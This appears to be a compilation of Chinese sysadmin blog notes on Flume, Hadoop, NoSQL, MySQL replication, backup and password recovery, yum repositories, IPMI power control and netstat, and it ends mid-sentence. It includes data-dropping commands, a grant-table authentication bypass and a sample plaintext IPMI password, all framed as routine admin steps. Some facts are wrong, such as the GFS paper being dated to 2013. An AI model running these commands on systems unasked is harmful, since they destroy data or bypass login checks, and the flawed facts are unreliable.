完成对日志数据的收集,分成transtion 和 event 打入到channel之中Flume提供了各种source的实现,包括Avro Source、 Exce Source、 Spooling Directory Source、 NetCat Source、 Syslog Source、 Syslog TCP Source、Syslog UDP Source、 HTTP Source、 HDFS Source, etc。 2)Channel: Flume Channel主要提供一个队列的功能,对source提供中的数据进行简单的缓存。 Flume对于Channel, 则提供了Memory Channel、 JDBC Chanel、 File Channel,etc 3)Sink: Flume Sink取出Channel中的数据,进行相应的存储文件系统,数据库,或者提交到远程服务器。包括HDFS sink、 Logger sink、 Avro sink、 File Roll sink、 Null sink、 HBasesink, etc。 6.1、Source Spool Source 如何使用? 在实际使用的过程中,可以结合log4j使用,使用log4j的时候,将log4j的文件分割机制设为1分钟一次,将文件拷贝到spool的监控目录。 log4j有一个TimeRolling的插件,可以把log4j分割的文件到spool目录。基本实现了实时的监控。 Flume在传完文件之后,将会修 改文件的后缀,变为.COMPLETED(后缀也可以在配置文件中灵活指定) Exec Source 和Spool Source 比较 1) ExecSource可以实现对日志的实时收集,但是存在Flume不运行或者指令执行出错时,将无法收集到日志数据,无法何证日志数据的完整性。 2) SpoolSource虽然无法实现实时的收集数据,但是可以使用以分钟的方式分割文件,趋近于实时。 3)总结:如果应用无法实现以分钟切割日志文件的话,可以两种 收集方式结合使用。 6.2、Channel 1)MemoryChannel可以实现高速的吞吐, 但是无法保证数据完整性 2)MemoryRecoverChannel在官方文档的建议上已经建义使用FileChannel来替换。 FileChannel保证数据的完整性与一致性。在具体配置不现的FileChannel时,建议FileChannel设置的目录和程序日志文件保存的目设成不同的磁盘,以便提高效率。 **6.3、Sink** Flume Sink在设置存储数据时,可以向文件系统中,数据库中, hadoop中储数据,在日志数据较少时,可以将数据存储在文件系中,并且设定一定的时间间隔保存数据。在日志数据较多时,可以将相应的日志数据存储到Hadoop中,便于日后进行相应的数据分析。
1、Hadoop生态概况 Hadoop是一个由Apache基金会所开发的分布式系统集成架构,用户可以在不了解分布式底层细节情况下,开发分布式程序,充分利用集群的威力来进行高速运算与存储,具有可靠、高效、可伸缩的特点: 高可靠性:提供按位处理的存储和计算能力值得用户信赖。 高扩展性:可以轻松地从小量集群扩展到数以千计的节点中。 高效性:提供并发的分布式计算框架,处理速度非常快。 高容错性:即使在少量节点宕机的情况下,也能自动完成任务。 Hadoop的核心是YARN,HDFS,Mapreduce。 2、HDFS 源自谷歌的GFS论文,发表于2013年10月,HDFS是GFS的克隆版,HDFS是Hadoop体系中数据存储管理的基础,它是一个高度容错的系统,能检测和应对硬件故障。HDFS简化了文件一致性模型,通过流式数据访问,提供高吞吐量应用程序数据访问功能,适合带有大型数据集的应用程序,它提供了一次写入多次读取的机制,数据以块的形式,同时分布在集群不同物理机器。 3、Mapreduce 源自于谷歌的MapReduce论文,"Hadoop Map/Reduce是一个使用简易的软件框架,基于它写出来的应用程序能够运行在由上千个商用机器组成的大型集群上,并以一种可靠容错的方式并行处理上T级别的数据集。"Hadoop将MapReduce高度抽象为两个阶段:Map阶段和Reduce阶段,每个阶段都以Key/Value对作为过程的输入和输出,并可以由程序员自己选择他们的类型。 4、HBASE(分布式列存数据库) 源自谷歌的Bigtable论文,是一个建立在HDFS之上,面向列的针对结构化的数据可伸缩,高可靠,高性能分布式和面向列的动态模式数据库。HBase是一个分布式的、面向列的开源数据库,该技术来源于 Fay Chang 所撰写的Google论文“Bigtable:一个结构化数据的分布式存储系统”。就像Bigtable利用了Google文件系统(File System)所提供的分布式数据存储一样,HBase在Hadoop之上提供了类似于Bigtable的能力。HBase是Apache的Hadoop项目的子项目。HBase不同于一般的关系数据库,它是一个适合于非结构化数据存储的数据库。另一个不同的是HBase基于列的而不是基于行的模式。 5、ZooKeeper ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交的反馈进行下一步合理操作。最终,将简单易用的接口和性能高效、功能稳定的系统提供给用户。ZooKeeper为其提供:文件系统与通知机制。 6、HIVE Hive是基于Hadoop的一个数据仓库,可以将结构化的数据文件映射为一张表,并提供类sql查询功能,Hive底层将sql语句转化为mapreduce任务运行。相对于用java代码编写mapreduce来说,Hive的优势明显:快速开发,人员成本低,可扩展性(自由扩展集群规模),延展性(支持自定义函数)。 7、Flume Flume是Cloudera提供的一个高可用的,高可靠的,分布式的海量日志采集、聚合和传输的系统,Flume支持在日志系统中定制各类数据发送方,用于收集数据;同时,Flume提供对数据进行简单处理,并写到各种数据接受方(可定制)的能力。当前Flume有两个版本Flume 0.9X版本的统称Flume-og,Flume1.X版本的统称Flume-ng。由于Flume-ng经过重大重构,与Flume-og有很大不同,使用时请注意区分。 8、Yarn分布式资源管理器 YARN(Yet Another Resource Negotiator, a framework for job scheduling and cluster resource management),Yarn是下一代mapreduce,主要解决原始的Hadoop扩展性较差,不支持多种计算框架而提出的,YARN的优秀点是什么,践行分布式框架设计和并行化开发时有什么启发。希望这能加深Hadoop理解和算法开发思路扩展,如TensorFlow的多核任务分配机制、分布式任务分配机制等。 9、spark Spark是一个用来实现快速而通用的集群计算的平台。扩展了广泛使用的MapReduce计算模型,而且高效地支持更多的计算模式,包括交互式查询和流处理。在处理大规模数据集的时候,速度是非常重要的。Spark的一个重要特点就是能够在内存中计算,因而更快。即使在磁盘上进行的复杂计算,Spark依然比MapReduce更加高效。 10、Kafka Kafka is a distributed,partitioned,replicated commit logservice。它提供了类似于JMS的特性,但是在设计实现上完全不同,此外它并不是JMS规范的实现。kafka对消息保存时根据Topic进行归类,发送消息者成为Producer,消息接受者成为Consumer,此外kafka集群有多个kafka实例组成,每个实例(server)成为broker。无论是kafka集群,还是producer和consumer都依赖于zookeeper来保证系统可用性集群保存一些meta信息。 11、Hadoop伪分布式部署 目前而言,不收费的Hadoop版本主要有三个,都是国外厂商,分别是 1、Apache原始版本 2、CDH版本,对于国内用户而言,绝大多数选择该版本 3、HDP版本
NoSQL数据库在整个数据库领域的江湖地位已经不言而喻。在大数据时代,虽然RDBMS很优秀,但是面对快速增长的数据规模和日渐复杂的数据模型,RDBMS渐渐力不从心,无法应对很多数据库处理任务,这时NoSQL凭借易扩展、大数据量和高性能以及灵活的数据模型成功的在数据库领域站稳了脚跟。 目前大家基本认同将NoSQL数据库分为四大类:键值存储数据库,文档型数据库,列存储数据库和图形数据库,其中每一种类型的数据库都能够解决关系型数据不能解决的问题。在实际应用中,NoSQL数据库的分类界限其实没有那么明显,往往会是多种类型的组合体。 主流nosql的详解:MongoDB、Hbase、Redis MongoDB MongoDB 是一个高性能,开源,无模式的文档型数据库,开发语言是C++。它在许多场景下可用于替代统的关系型数据库或键/值存储方式。 1.MongoDB特点 所用语言:C++特点:保留了SQL一些友好的特性(查询,索引)。使用许可: AGPL(发起者: Apache)协议: Custom, binary( BSON)Master/slave复制(支持自动错误恢复,使用 sets 复制)内建分片机制支持 javascript表达式查询可在服务器端执行任意的 javascript函数update-in-place支持比CouchDB更好在数据存储时采用内存到文件映射对性能的关注超过对功能的要求建议最好打开日志功能(参数 --journal)在32位操作系统上,数据库大小限制在约2.5Gb空数据库大约占 192Mb采用 GridFS存储大数据或元数据(不是真正的文件系统) 2.MongoDB优点 1)更高的写负载,MongoDB拥有更高的插入速度。 2)处理很大的规模的单表,当数据表太大的时候可以很容易的分割表。 3)高可用性,设置M-S不仅方便而且很快,MongoDB还可以快速、安全及自动化的实现节点 (数据中心)故障转移。 4)快速的查询,MongoDB支持二维空间索引,比如管道,因此可以快速及精确的从指定位置 获取数据。MongoDB在启动后会将数据库中的数据以文件映射的方式加载到内存中。如果内 存资源相当丰富的话,这将极大地提高数据库的查询速度。 5)非结构化数据的爆发增长,增加列在有些情况下可能锁定整个数据库,或者增加负载从而 导致性能下降,由于MongoDB的弱数据结构模式,添加1个新字段不会对旧表格有任何影响, 整个过程会非常快速。 3.MongoDB缺点 1)不支持事务。 2)MongoDB占用空间过大 。 3)MongoDB没有成熟的维护工具。 4.MongoDB应用场景 1.)适用于实时的插入、更新与查询的需求,并具备应用程序实时数据存储所需的复制及高度伸缩性; 2) 非常适合文档化格式的存储及查询; 3.)高伸缩性的场景:MongoDB 非常适合由数十或者数百台服务器组成的数据库。 4.)对性能的关注超过对功能的要求。 HBase HBase 是 Apache Hadoop 中的一个子项目,属于 bigtable 的开源版本,所实现的语言为Java(故依赖 Java SDK)。HBase 依托于 Hadoop 的 HDFS(分布式文件系统)作为最基本存储基础单元。 1.HBase 特点 所用语言: Java特点:支持数十亿行X上百万列使用许可: Apache协议:HTTP/REST (支持 Thrift,见编注4)在 BigTable之后建模采用分布式架构 Map/reduce对实时查询进行优化高性能 Thrift网关通过在server端扫描及过滤实现对查询操作预判支持 XML, Protobuf, 和binary的HTTPCascading, hive, and pig source and sink modules基于 Jruby( JIRB)的shell对配置改变和较小的升级都会重新回滚不会出现单点故障堪比MySQL的随机访问性能 2. HBase 优点 1) 存储容量大,一个表可以容纳上亿行,上百万列; 2.)可通过版本进行检索,能搜到所需的历史版本数据; 3.)负载高时,可通过简单的添加机器来实现水平切分扩展,跟Hadoop的无缝集成保障了其数据可靠性(HDFS)和海量数据分析的高性能(MapReduce); 4.)在第3点的基础上可有效避免单点故障的发生。 3.HBase 缺点 基于Java语言实现及Hadoop架构意味着其API更适用于Java项目; node开发环境下所需依赖项较多、配置麻烦(或不知如何配置,如持久化配置),缺乏文档; 占用内存很大,且鉴于建立在为批量分析而优化的HDFS上,导致读取性能不高; API相比其它 NoSql 的相对笨拙。 4.HBase 适用场景 1)bigtable类型的数据存储; 2)对数据有版本查询需求; 3)应对超大数据量要求扩展简单的需求。 Redis Redis 是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。目前由VMware主持开发工作。 1.Redis 特点 所用语言:C/C++特点:运行异常快使用许可: BSD协议:类 Telnet有硬盘存储支持的内存数据库,但自2.0版本以后可以将数据交换到硬盘(注意, 2.4以后版本不支持该特性!)Master-slave复制(见编注3)虽然采用简单数据或以键值索引的哈希表,但也支持复杂操作,例如 ZREVRANGEBYSCORE。INCR & co (适合计算极限值或统计数据)支持 sets(同时也支持 union/diff/inter)支持列表(同时也支持队列;阻塞式 pop操作)支持哈希表(带有多个域的对象)支持排序 sets(高得分表,适用于范围查询)Redis支持事务支持将数据设置成过期数据(类似快速缓冲区设计)Pub/Sub允许用户实现消息机制 2. Redis 优势 1)非常丰富的数据结构; 2.)Redis提供了事务的功能,可以保证一串 命令的原子性,中间不会被任何操作打断; 3.)数据存在内存中,读写非常的高速,可以达到10w/s的频率。 3.Redis 缺点 1) Redis3.0后才出来官方的集群方案,但仍存在一些架构上的问题; 2.)持久化功能体验不佳——通过快照方法实现的话,需要每隔一段时间将整个数据库的数据写到磁盘上,代价非常高;而aof方法只追踪变化的数据,类似于mysql的binlog方法,但追加log可能过大,同时所有操作均要重新执行一遍,恢复速度慢; 3)由于是内存数据库,所以,单台机器,存储的数据量,跟机器本身的内存大小。虽然redis本身有key过期策略,但是还是需要提前预估和节约内存。如果内存增长过快,需要定期删除数据。 4.Redis 应用场景 最佳应用场景:适用于数据变化快且数据库大小可遇见(适合内存容量)的应用程序。 例如:微博、数据分析、实时数据搜集、实时通讯等。
来自老男孩的运维工具介绍 操作系统:Centos,Ubuntu,Redhat,suse,Freebsd网站服务:nginx,apache,lighttpd,php,tomcat,resin关系型数据库:MySQL,MariaDB,PostgreSQLDB中间件:maxscale,MyCat,atlas,cobar,amoeba,MySQL-proxy代理相关:lvs,keepalived,haproxy,nginx,heartbeat网站缓存:squid,nginx,varnishNOSQL库:Redis,Memcached,MongoDB,HBase,Cassandra,CouchDB存储相关:Nfs,FastDFS,Moosefs(mfs),Hadoop,glusterfs,lustre版本管理:svn,git监控报警:nagios,cacti,zabbix,munin,hyperic,mrtg,graphite域名解析:bind,powerdns,dnsmasq同步软件:scp,rsync,inotify,sersync,drbd批量管理:SSH,Ansible,Saltstack,expect,puppet虚拟化:kvm,xen云计算:openstack,docker,cloudstack内网软件:iptables,zebra,iftraf,ntop,tc,iftop邮件软件:qmail,posfix,sendmail,zimbra远程拨号:pptp,openswan,ipip统一认证:openldap队列工具:ActiveMQ,RabbitMQ,Metaq,MemcacheQ,Zeromq打包发布:mvn,ants,jenkins测试软件:ab,JMeter,Webbench,LoadRunner,http_load,tcpcopy带宽测试:smokeping性能测试:dd, fio(IOPS测试),iozone(磁盘测试)日志相关:rsyslog,Awstats,flume,storm,ELK(Elasticsearch+Logstash+Kibana)搜索软件:Sphinx,Xapian,Solr无人值守:kickstart,cobbler软件安装:rpm,yum(设计rpm包定制及yum仓库构建)大数据:HDFS,Hive,Hbase,Zookeeper,Pig,Spark,Mahout,flume,sqoop开发语言:Shell,Python,go 下期介绍赵班长的运维体系
MySQL主从同步的过程中,可能会因为各种原因出现主库与从库不同步的情况,网上虽然有一些解决办法,但是有时很难彻底解决,重置主从服务器也许不是最快的办法,但却是最安全有效的。 下面将自己重置主从同步的步骤总结一下,以备不时之需。master与slave均使用:假设有db1,db2两个数据库需要热备。(文中shell与mysql均使用root账号,在真实环境中,请根据情况更换。) 1. 停止slave服务器的主从同步 STOP SLAVE; 2.对master服务器的数据库加锁 FLUSH TABLES WITH READ LOCK; 3.备份master上的数据 mysqldump -u root -p -databases db1 db2 > bak.sql 4.重置master服务 RESET MASTER; 5.对master服务器的数据库解锁 UNLOCK TABLES; 6.将master上的备份文件拷贝到slave服务器上 scp -r root@XXX.XXX.XXX.XXX:/root/bak.sql ./ 7.删除slave服务器上的旧数据 DROP DATABASE db1; DROP DATABASE db2; 8.导入数据 SOURCE /root/bak.sql; 9.重置slave服务 RESET SLAVE; 10.开启slave服务 START SLAVE; 11.检查同步转态 SHOW SLAVE STATUS\G 将出现两个yes,检查同步状态,一切正常。
在安装MySQL数据库后,使用mysqladmin命令无法完成密码修改,则可以使用下列的方式,进行MySQL的密码的设置: 安装完mysql 之后,登陆以后,不管运行任何命令,总是提示这个You must reset your password using ALTER USER statement before executing this statement. 可执行下列步骤:step 1:> SET PASSWORD = PASSWORD('your new password'); step 2:>ALTER USER 'root'@'localhost' PASSWORD EXPIRE NEVER; step 3:> flush privileges; 完成以上三步退出再登,使用新设置的密码就行了,以上除了红色的自己修改成新密码外,其他原样输入即可。
mysql登录错误 mysqladmin: connect to server at 'localhost' failed error: 'Access denied for user 'root'@'localhost' (using password: YES)' 无法修改密码 service mysqld stop mysqld_safe --skip-grant-tables & 输入 mysql -uroot -p 回车进入 >use mysql; > update user set password=PASSWORD("newpass")where user="root"; 更改密码为 newpassord 更新权限 > flush privileges; 退出 > quit
一、备份常用操作基本命令 1、备份命令mysqldump格式 格式:mysqldump -h主机名 -P端口 -u用户名 -p密码 –database 数据库名 > 文件名.sql 2、备份MySQL数据库为带删除表的格式备份MySQL数据库为带删除表的格式,能够让该备份覆盖已有数据库而不需要手动删除原有数据库。 mysqldump --add-drop-table -uusername -ppassword -database databasename > backupfile.sql 3、直接将MySQL数据库压缩备份 mysqldump -hhostname -u uname -ppassword -database dbname | gzip > backupfile.sql.gz 4、备份MySQL数据库某个(些)表 mysqldump -hhostname -uname -ppassword dbname specific_table1 specific_table2 > backupfile.sql 5、同时备份多个MySQL数据库 mysqldump -hhostname -uuname -ppassword –databases dbname1 dbname2 dbname3 > multibackupfile.sql 6、仅备份份数据库结构 mysqldump –no-data –databases databasename1 databasename2 databasename3 > structurebackupfile.sql 7、备份服务器上所有数据库 mysqldump –all-databases > allbackupfile.sql 8、还原MySQL数据库的命令 mysql -hhostname -uusername -ppassword databasename < backupfile.sql 9、还原压缩的MySQL数据库 gunzip < backupfile.sql.gz | mysql -uusername -ppassword databasename 10、将数据库转移到新服务器 mysqldump -uusername -ppassword databasename | mysql –host=*.*.*.* -C databasename 11、--master-data 和--single-transaction 在mysqldump中使用--master-data=2,会记录binlog文件和position的信息 。--single-transaction会将隔离级别设置成repeatable-commited 12、导入数据库 常用source命令,用use进入到某个数据库,mysql>source d:test.sql,后面的参数为脚本文件。 13、查看binlog日志 查看binlog日志可用用命令 mysqlbinlog binlog日志名称|more 14、general_log General_log记录数据库的任何操作,查看general_log 的状态和位置可以用命令show variables like "general_log%" ,开启general_log可以用命令set global general_log=on 二、增量备份 小量的数据库可以每天进行完整备份,因为这也用不了多少时间,但当数据库很大时,就不太可能每天进行一次完整备份了,这时候就可以使用增量备份。增量备份的原理就是使用了mysql的binlog志。 1、首先做一次完整备份: mysqldump -h10.6.208.183 -utest2 -p123 -P3310 --single-transaction --master-data=2 test>test.sql这时候就会得到一个全备文件test.sql 在sql文件中我们会看到: -- CHANGE MASTER TO MASTER_LOG_FILE='bin-log.000002', MASTER_LOG_POS=107;是指备份后所有的更改将会保存到bin-log.000002二进制文件中。 2、在test库的t_student表中增加两条记录,然后执行flush logs命令。这时将会产生一个新的二进制日志文件bin-log.000003,bin-log.000002则保存了全备过后的所有更改,既增加记录的操作也保存在了bin-log.00002中。 3、再在test库中的a表中增加两条记录,然后误删除t_student表和a表。a中增加记录的操作和删除表a和t_student的操作都记录在bin-log.000003中。 三、恢复 1、首先导入全备数据 mysql -h10.6.208.183 -utest2 -p123 -P3310 < test.sql, 也``` 可以直接在mysql命令行下面用source导入 2、恢复bin-log.000002 mysqlbinlog bin-log.000002 |mysql -h10.6.208.183 -utest2 -p123 -P3310 3、恢复部分 bin-log.000003 在general_log中找到误删除的时间点,然后更加对应的时间点到bin-log.000003中找到相应的position点,需要恢复到误删除的前面一个position点。 可以用如下参数来控制binlog的区间 --start-position 开始点 --stop-position 结束点 --start-date 开始时间 --stop-date 结束时间 找到恢复点后,既可以开始恢复。 mysqlbinlog mysql-bin.000003 --stop-position=208 |mysql -h10.6.208.183 -utest2 -p123 -P3310
1、临时修改主机名:$ sudo hostname 主机名修改只能临时有效,机器重启后会自动还原。 2、永久修改主机名:修改hostname文件(路径:/etc/hostname):$ sudo nano /etc/hostname把hostname文件里面所有原来的名称改成你想改成的名称。主机名同时也保存在/etc/hosts文件中,需要把当前IP地址对应的主机名修改为hostname文件中的名称。$ sudo nano /etc/hosts 最后重启机器:$ reboot
/root/ 根用户(超级用户)的主目录。 /lib/ 包含许多被 /bin/ 和 /sbin/ 中的程序使用的库文件。目录 /usr/lib/ 中含有更多用于用户程序的库文件。/lib目录下放置的是/bin和/sbin目录下程序所需的库文件。 /bin/ 用来贮存用户命令。目录 /usr/bin 也被用来贮存用户命令。 /sbin/ 许多系统命令(例如 shutdown)的贮存位置。目录 /usr/sbin 中也包括了许多系统命令。 /mnt/ 该目录中通常包括系统引导后被挂载的文件系统的挂载点。譬如,默认的光盘挂载点是 /mnt/cdrom/. /boot/ 包括内核和其它系统启动期间使用的文件。 /lost+found/ — 被 fsck 用来放置零散文件(没有名称的文件)。 /lib64/ 包含许多被 /bin/ 和 /sbin/ 中的程序使用的库文件。目录 /usr/lib/ 中含有更多用于用户程序的库文件。 /dev/ 贮存设备文件。 /etc/ 包含许多配置文件和目录。 /var/ 用于贮存variable(或不断改变的)文件,例如日志文件和打印机假脱机文件。 /usr/ 包括与系统用户直接有关的文件和目录,例如应用程序及支持它们的库文件。 /proc/ 一个虚拟的文件系统(不是实际贮存在磁盘上的),它包括被某些程序使用的系统信息。 /initrd/ 用来在计算机启动时挂载 initrd.img 映像文件的目录以及载入所需设备模块的目录。 警告不要删除 /initrd/ 目录。如果你删除了该目录后再重新引导 Red Hat Linux 时,你将无法引导你的计算机。 /tmp/ 用户和程序的临时目录。 /tmp 给予所有系统用户读写权。 /home/ 用户主目录的默认位置。 /opt/ 可选文件和程序的贮存目录。该目录主要被第三方开发者用来简易地安装和卸装他们的软件包。
Yum(全称为 Yellow dog Updater, Modified)是一个在Fedora和RedHat以及CentOS中的Shell前端软件包管理器。基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。在生产活动中,线上服务器是不能接入外网进行写操作的。一般都是要在本地事先建好yum仓库,在本地提供服务。创建本地yum库文件 $mount /dev/sr0 /media/ $mount: block device /dev/sr0 is write-protected, mountingread-only 将需要的包添加到这个文件夹中 $mkdir -p /file $cp -rv /media/Packages/* /file/ 安装createrepo软件,以便使用该软件制作YUM索引数据库 $cd /file/ $rpm -ivhcreaterepo-0.9.9-27.el6.noarch.rpm /这一步安装时会提示安装三个依赖包。 createrepo在RPM包的路径下创建YUM索引数据库 $createrepo . Spawningworker 0 with 3819 pkgs WorkersFinished Gatheringworker results SavingPrimary metadata Savingfile lists metadata Savingother metadata Generatingsqlite DBs Sqlite DBs complete 删除其它的*.repo文件,并手工创建一个repo文件,指向本地YUM源 $cd /etc/yum.repos.d/ local.repo CentOS-Base.repo CentOS-Debuginfo.repo CentOS-fasttrack.repo CentOS-Media.repo CentOS-Vault.repo $mkdir -p bak $mv *C* bak $ls local.repo /尽量不要删除文件,移动后使其不能起作用即可/ $vim /etc/yum.repos.d/local.repo [local] name=local yum repo baseurl=file:///file/ enabled=1 gpgcheck=0 清除YUM以前的缓存信息 $yum clean all Loadedplugins: product-id, security, subscription-manager This system is notregistered to Red Hat Subscription Management. You can use subscription-managerto register. Cleaningrepos: local Cleaning up Everything 检测一下yum是否可用 yum install -y nmap 这样我们的本地yum源就创建好了。
一家公司的线上服务器就是一家公司的大脑。如何公司的线上服务器出现任何问题,影响的将是公司的全部。现在是互联网公司一般都有会将自己的服务器部署在云端,通过购买云服务来实现公司的生产。这样既可以减少运维成本,又可以轻资产化,为公司减轻负担。可公司一旦有了一定的规模,自建IDC机房几乎是绕不过的问题。时下大热的DecvOps,自动化运维等等,一系列的运维手段其基础就在与机房CMDB的管理。今天我简单的说一下,机房服务器清单的项目,以便小伙伴马上入坑。 机房位置机架位厂商设备型号SN服务器快速码IP地址电源用途使用人用户名密码机器型号![9_Z_N2_BHV45_5C_ONLQSLI]
工作大家会遭遇到这样的问题:在hosts文件中添加了新的主机名,但是重启之后没有生效,还是原来的主机名。我找的原因是:需要将/etc/hostname文件的内容全部删除,然后在写上咱们的主机名,然后保存重启就可以了。 如何快速修改主机名:然后永久生效:hostnamectl 使用hostnamectl set-hostname 命令修改主机名
简介:智能平台管理界面(IPMI,Intelligent Platform Management Interface)是管理基于 Intel® 结构的企业系统中所使用的外围设备采用的一种工业标准,用户可以利用IPMI监视服务器的物理健康特征,如温度、电压、风扇工作状态、电源状态等。该标准由美国英特尔、惠普(Hewlett-Packard)、NEC、美国戴尔电脑和SuperMicro等公司制定。新的版本是IPMI2.0(http://www.intel.com/design/servers/ipmi/)。新版本的IPMI可以通过串口、Modem以及Lan等远程环境管理服务器系统(包括远程开关机),同时在系统发生错误时能自动发出警告。要对服务器进行IPMI管理,需要被监控的系统具有支持IPMI的硬件设备。如果服务器具有底板管理控制器 (Baseboard Management Controller ,BMC),并且支持IPMI规范,则通过BMC与主机板上的不同传感器通信来监视系统是否有严重事件,并在某些参数超出其预置阈值时发出警报和日志事件。BMC具有以下功能: 通过系统的串行端口进行访问 故障日志记录和 SNMP 警报发送 访问系统事件日志 (System Event Log ,SEL) 和传感器状况 控制包括开机和关机 独立于系统电源或工作状态的支持 用于系统设置、基于文本公用程序和操作系统控制台的文本控制台重定向 使用 LAN访问 Red Hat® Enterprise Linux 串行控制台界面 服务器配置(Dell R710) 1、 保证网线正确接到1号口上,因为只有1号口远程管理才管用2、 启动机器,等到bios启动快结束时,等出现有BMC 字样或者让按 CRTL + E 的时候,马上按 CRTL + E 进入设置界面3、 设置IPMI(Remote Access Setup) 设置IPMI over LAN 为 on (requires iDRAC6 LAN) 进到 LAN parameters 菜单: 保持 NIC Selection 选项为 Shared 设置 IPv4 Address source 为 Static 设置 IPv4 Address 为 10.0.99.x 设置 Subnet Mask 为 255.255.255.0, 如果需要可以设置 Default Gateway 可选设置 Host Name string,例如 xxx-ipmi,不过看起来没用 进到 LAN User Configuration 菜单: 设置 Account User Name, 也可以保持默认的 设置 password 并确认4、 确认没有问题,按 ESC 键保存退出,此时机器开始继续引导系统 5、 安装OpenIPMIcentos下直接用yum安装ipmitool(yum -y install OpenIPMI), 也可以下载OpenIPMI-2.0.11.tar,解压后./configure && make && make install装完OpenIPMI后,启用IPMI服务 /etc/rc.d/init.d/ipmi start 一般如果内核支持的话,能正常启动 至此,服务器IPMI配置完成,可以用ping 10.0.99.x确认下通不通 IPMI客户端工具安装及使用 windows: 下载 ipmish.exe 拷贝到d盘或者c盘根目录下,然后执行下面的命令就可以远程对机器进行电源方面的操作ipmish.exe -ip 服务器的ip地址 -u root -p 密码 power on/reset/off其中 power on 硬开机power reset 硬重启机器power off 硬关机举例说明,你服务器的ip是 192.168.162.14 当时设置的密码是 donglirong ,现在服务器正在处于开机状态,现在想要远程硬重启服务器(相当于用手去按服务器上的重启按钮),就用下面的命令ipmish.exe -ip 192.168.162.14 -u root -p donglirong power reset输入上面的命令之后一秒钟后如果没有其它的提示则说明服务器重启成功,服务器将进行重启再举例说明,突然想远程把服务器关机,只需要输入下面的命令即可ipmish.exe -ip 192.168.162.14 -u root -p donglirong power off要再开机,就输入下面的命令ipmish.exe -ip 192.168.162.14 -u root -p donglirong power on linux: centos下直接用yum安装ipmitool(yum -y install ipmitool), 也可以下载ipmitool-1.8.11.tar.gz,解压后./configure && make && make install 改变服务器引导方式ipmitool -I lan -H 服务器地址 -U root -P passwd chassis bootdev pxeipmitool -I lan -H 服务器地址 -U root -P passwd chassis bootdev diskipmitool -I lan -H 服务器地址 -U root -P passwd chassis bootdev cdrom 服务器电源管理ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power off (硬关机,直接切断电源)ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power soft(软关机,即如同轻按一下开机扭)ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power on (硬开机)ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power reset(硬重启)ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power cycle ( power off, wait 1s, power on)ipmitool -I lan -H 服务器地址 -U root -P passwd chassis power status(获取当前电源状态)
CPU的参数详解: us(user time) 表示CPU执行用户进程的时间,包括ni时间。通常我们只看这项。 sy(system time) 表示CPU在内核运行时间,包括IRQ和softirq时间,系统CPU占用率高,表明系统某部份存在瓶颈,通常值越低越好。 wa(waiting time) CPI在等待I/O操作完成所花费的时间,系统不应该花费大量时间来等待I/O操作,否则说明I/O存在问题。 id(idle time) 系统处于空闲期,等待进程运行。 ni(nice time) 系统调整进程优先级所花费的时间。 hi(hard irq time) 系统处理硬中断所花费的时间。 si(softirq time) 系统处理软件中断所花费的时间。 st(steal time) 被强制等待虚拟CPU的时间,此时hypervisor在为另一个虚拟处理器服务。 Processor/% Processor Time 阀值:处理器的阀值一般设为85%。含义:表示处理器活动的主要指标。高数值并不一定是坏事,但是如果其他处理器相关的计数器(比如% Privileged Time 或者 Processor Queue Length)线性增加的话,高CPU使用率就值得调查了。 Processor/% Privileged Time 阀值:如果数值持续大于75%就表示存在瓶颈。含义:表示一个线程在特权模式下所使用的时间比例。当你的程序调用操作系统的方法(比如文件操作,网络I/O或者分配内存),这些操作系统的方法是在特权模式下运行的。 Processor/% Interrupt Time 阀值:取决于处理器含义:表示处理器接收处理硬件中断所使用的时间比例。这个值间接指出产生中断的硬件设备活动,比如网络变化。这个计数器显著增加的话表示硬件可能存在问题。 System/Processor Queue Length 阀值:平均值持续大于2那么表示CPU存在瓶颈 含义:如果就绪的任务超过处理能力线程就会被放进队列。处理器队列是就绪但是未能被处理器执行的线程的集合,这是因为另外一个线程正在执行状态。持续或者反复发生2个以上的队列则明确的表示存在处理器瓶颈。你也能通过减少并发取得更大的吞吐量。 System/Context Switches/sec 阀值:按照通常的规律,Context switching速率小于5000/秒/CPU是不需要担心的。如果Context Switching速率达到15000/秒/CPU的话就是一个制约因素了。含义:当一个高优先级的线程取代一个正在运行的低优先级线程,或者高优先级线程阻塞的时候就会发生Context Switching。大量的Context Switching可以发生在许多线程拥有相同的优先级的情况下,这通常表示有太多的线程竞争CPU,如果你没有看到太高的处理器使用率而且发现Context Switch非常低,那么表示线程被阻塞。
不知道说什么。妈的,就是各种TMD。没有达到预期。的确没有达到预期。但是还是要继续前行,不能停,2018年7月25日21:02:12 今天什么都没做,心理不爽。不知道什么感觉,迷茫的感觉。各种的不爽,发现自己浪费了好多。是否要一搏,不要了,不要一搏了,需要去在进行下一阶段的学习。让自己先落地吧。本来也没想要什么,即使是得到了好的工作也要继续。只是让自己起步难了一点儿,没什么,让自己在向前,不要停下自己,不要不要停这几天办理入职,然后开始系统性的从头开始学习linux的基础。一定要这样的做呀。
系统管理员想了解网络连接的状态时候,经常会使用netstat命令去统计服务器目前的网络连接状态,下面使用netstat和awk结合的一条命令可以很好的统计当前的网络状态。netstat -n | awk '/^tcp/ {++state[$NF]} END {for(key in state) print key,"t",state[key]}'会得到类似下面的结果,具体数字会有所不同:LAST_ACK 1*SYN_RECV 14ESTABLISHED 79FIN_WAIT1 28FIN_WAIT2 3CLOSING 5TIME_WAIT 1669* **也就是说,这条命令可以把当前系统的网络连接状态分类汇总。 下面解释一下为啥要这样写: 一个简单的管道符连接了netstat和awk命令。 ** netstat:查询网络状态的命令。 你实际执行这条命令的时候,可能会得到成千上万条类似上面的记录,不过我们就拿其中的一条就足够了。 再来看看awk: /^tcp/ 滤出tcp开头的记录,屏蔽udp, socket等无关记录。 state[] 相当于定义了一个名叫state的数组 NF 表示记录的字段数,如上所示的记录,NF等于6 $NF 表示某个字段的值,如上所示的记录,$NF也就是$6,表示第6个字段的值,也就是TIME_WAIT state[$NF] 表示数组元素的值,如上所示的记录,就是state[TIME_WAIT]状态的连接数 ++state[$NF] 